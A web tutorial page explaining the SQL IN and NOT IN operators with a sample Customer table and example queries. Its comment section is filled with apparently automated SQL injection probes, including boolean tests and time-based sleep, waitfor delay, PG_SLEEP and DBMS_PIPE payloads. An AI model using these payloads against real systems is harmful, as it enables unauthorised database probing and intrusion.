SQL IN Operator

The SQL IN operator is used to test if the expression matches any value in the list of values.IN operator works as a shorthand for multiple OR conditions.The IN operator can be used with the SELECT, INSERT, UPDATE, or DELETE statements.

IN Operator Syntax :

The syntax of the IN Operator is −

SELECT column_name(s)
FROM table_name
WHERE column_name IN (value1, value2, ...);



IN Operator Example :

Consider the Customer table with the following records -

CustomerID CustomerName Age Address CustomerSalary
1 Aarav 36 Udaipur 35000
2 Vivaan 33 Mumbai 30000
3 Reyansh 28 Chennai 40000
4 Muhammad 29 Udaipur 50000
5 Sai 27 Mumbai 27000


TEST CASE 1 :- The following code is an example, which would fetch the record from Customer table where CustomerSalary is 30000, 40000, 25000.

SELECT * FROM Customer
WHERE CustomerSalary IN (30000, 40000, 25000);


The result for the respective sql query is as follows −

CustomerID CustomerName Age Address CustomerSalary
2 Vivaan 33 Mumbai 30000
3 Reyansh 28 Chennai 40000



TEST CASE 2:- The following code is an example, which would fetch the record from Customer table where CustomerSalary is NOT 30000, 40000, 25000.

SELECT * FROM Customer
WHERE CustomerSalary NOT IN (30000, 40000, 25000);


The result for the respective sql query is as follows −

CustomerID CustomerName Age Address CustomerSalary
1 Aarav 36 Udaipur 35000
4 Muhammad 29 Udaipur 50000
5 Sai 27 Mumbai 27000





Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+684-684-1=0+0+0+1 --

pHqghUme
-1 OR 3+684-684-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+684-684) --

pHqghUme
-1 OR 3*2>(0+5+684-684) --

pHqghUme
-1 OR 2+688-688-1=0+0+0+1

pHqghUme
-1 OR 3+688-688-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+688-688)

pHqghUme
-1 OR 3*2>(0+5+688-688)

pHqghUme
-1' OR 2+564-564-1=0+0+0+1 --

pHqghUme
-1' OR 3+564-564-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+564-564) --

pHqghUme
-1' OR 3*2>(0+5+564-564) --

pHqghUme
-1' OR 2+772-772-1=0+0+0+1 or 'cDf2STi2'='

pHqghUme
-1' OR 3+772-772-1=0+0+0+1 or 'cDf2STi2'='

pHqghUme
-1' OR 3*2<(0+5+772-772) or 'cDf2STi2'='

pHqghUme
-1' OR 3*2>(0+5+772-772) or 'cDf2STi2'='

pHqghUme
-1" OR 2+566-566-1=0+0+0+1 --

pHqghUme
-1" OR 3+566-566-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+566-566) --

pHqghUme
-1" OR 3*2>(0+5+566-566) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
YEIsysWE'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 686=(SELECT 686 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 313=(SELECT 313 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 553=(SELECT 553 FROM PG_SLEEP(15))--

pHqghUme
hFqMB8YX' OR 707=(SELECT 707 FROM PG_SLEEP(15))--

pHqghUme
QNYSenwZ') OR 949=(SELECT 949 FROM PG_SLEEP(15))--

pHqghUme
KtebqTVN')) OR 79=(SELECT 79 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@NkzTy

pHqghUme
555

pHqghUme
555

pHqghUme
555